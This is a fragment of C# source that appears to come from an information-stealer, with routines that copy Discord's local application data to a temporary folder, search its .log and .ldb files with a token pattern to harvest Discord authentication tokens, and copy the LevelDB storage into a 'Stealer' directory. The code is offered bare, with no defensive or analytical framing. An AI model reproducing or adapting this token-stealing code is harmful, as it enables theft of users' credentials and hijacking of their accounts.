// Get discord tokens public static string[] GetTokens() { List <string> tokens = new List <string>(); try { foreach (string dir in DiscordDirectories) { string directory = Path.Combine(Paths.appdata, dir); string cpdirectory = Path.Combine(Path.GetTempPath(), new DirectoryInfo(directory).Name); if (!Directory.Exists(directory)) { continue; } Filemanager.CopyDirectory(directory, cpdirectory); foreach (string file in Directory.GetFiles(cpdirectory)) { if (!file.EndsWith(".log") && !file.EndsWith(".ldb")) { continue; } string text = File.ReadAllText(file); Match match = TokenRegex.Match(text); if (match.Success) { tokens.Add($"{match.Value}"); } Counting.Discord++; } Filemanager.RecursiveDelete(cpdirectory); } } catch (Exception ex) { Console.WriteLine(ex); } return(tokens.ToArray()); }
// Copy directory public static void CopyDirectory(string sourceFolder, string destFolder) { if (!Directory.Exists(destFolder)) { Directory.CreateDirectory(destFolder); } string[] files = Directory.GetFiles(sourceFolder); foreach (string file in files) { string name = Path.GetFileName(file); string dest = Path.Combine(destFolder, name); File.Copy(file, dest); } string[] folders = Directory.GetDirectories(sourceFolder); foreach (string folder in folders) { string name = Path.GetFileName(folder); string dest = Path.Combine(destFolder, name); Filemanager.CopyDirectory(folder, dest); } }
// Copy Local State directory private static void CopyLevelDb() { string Stealer_Dir = Help.StealerDir + "\\Discord"; foreach (string dir in DiscordDirectories) { string directory = Path.GetDirectoryName(Path.Combine(Paths.appdata, dir)); string cpdirectory = Path.Combine(Stealer_Dir, new DirectoryInfo(directory).Name); if (!Directory.Exists(directory)) { return; } try { Filemanager.CopyDirectory(directory, cpdirectory); Counting.Discord++; } catch { } } }